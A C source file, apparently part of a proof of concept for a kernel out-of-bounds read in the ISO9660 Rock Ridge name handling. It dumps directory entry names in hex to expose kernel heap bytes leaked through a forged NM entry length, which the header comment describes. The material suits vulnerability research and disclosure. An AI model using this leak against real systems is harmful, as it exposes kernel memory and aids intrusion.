DF-0878 / dumpents.c
/* * DF-0878 — direct getdents dumper. Lists every entry in a directory and * prints each d_name in hex+ASCII so leaked/OOB bytes (kernel memory past * the directory buffer) are visible. The malicious ISO's 'Z' entry carries * an NM SUSP entry with forged length=255; cd9660_rrip_altname bcopy()s * 250 bytes from p+5 into d_name, of which ~220 are read past the 2048-byte * directory buffer (kernel heap). * * Build: cc -O2 -o dumpents dumpents.c * Usage: ./dumpents /mnt/iso */ #include <sys/param.h> #include <sys/dirent.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> extern ssize_t getdents(int, void *, size_t); static void hexdump(const char *label, const char *buf, int n) { printf("%s (%d bytes):\n hex: ", label, n); int shown = n > 80 ? 80 : n; for (int i = 0; i < shown; i++) printf("%02x", (unsigned char)buf[i]); if (n > 80) printf("..."); printf("\n asc: "); for (int i = 0; i < shown; i++) { unsigned char c = buf[i]; putchar((c >= 32 && c < 127) ? c : '.'); } if (n > 80) printf("..."); printf("\n"); } int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "."; int fd = open(path, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror("open"); return 1; } char buf[8192]; int nent = 0; for (;;) { ssize_t n = getdents(fd, buf, sizeof(buf)); if (n < 0) { perror("getdents"); break; } if (n == 0) { printf("[getdents EOF after %d entries]\n", nent); break; } for (long off = 0; off < n; ) { struct dirent *d = (struct dirent *)(buf + off); printf("entry #%d: ino=%llu dirsiz=%u type=%d namelen=%u\n", nent, (unsigned long long)d->d_ino, (unsigned)_DIRENT_DIRSIZ(d), d->d_type, d->d_namlen); hexdump(" d_name", d->d_name, d->d_namlen); /* count non-'Z' bytes (potential leaked kernel bytes) */ int leak = 0; for (int i = 0; i < d->d_namlen; i++) if (d->d_name[i] != 'Z' && d->d_name[i] != 0) leak++; if (d->d_namlen > 40 || leak > 0) printf(" >>> SUSPICIOUS: namelen=%d, %d non-'Z'/nonzero bytes " "(possible leaked kernel memory)\n", d->d_namlen, leak); off += _DIRENT_DIRSIZ(d); nent++; } } close(fd); return 0; } |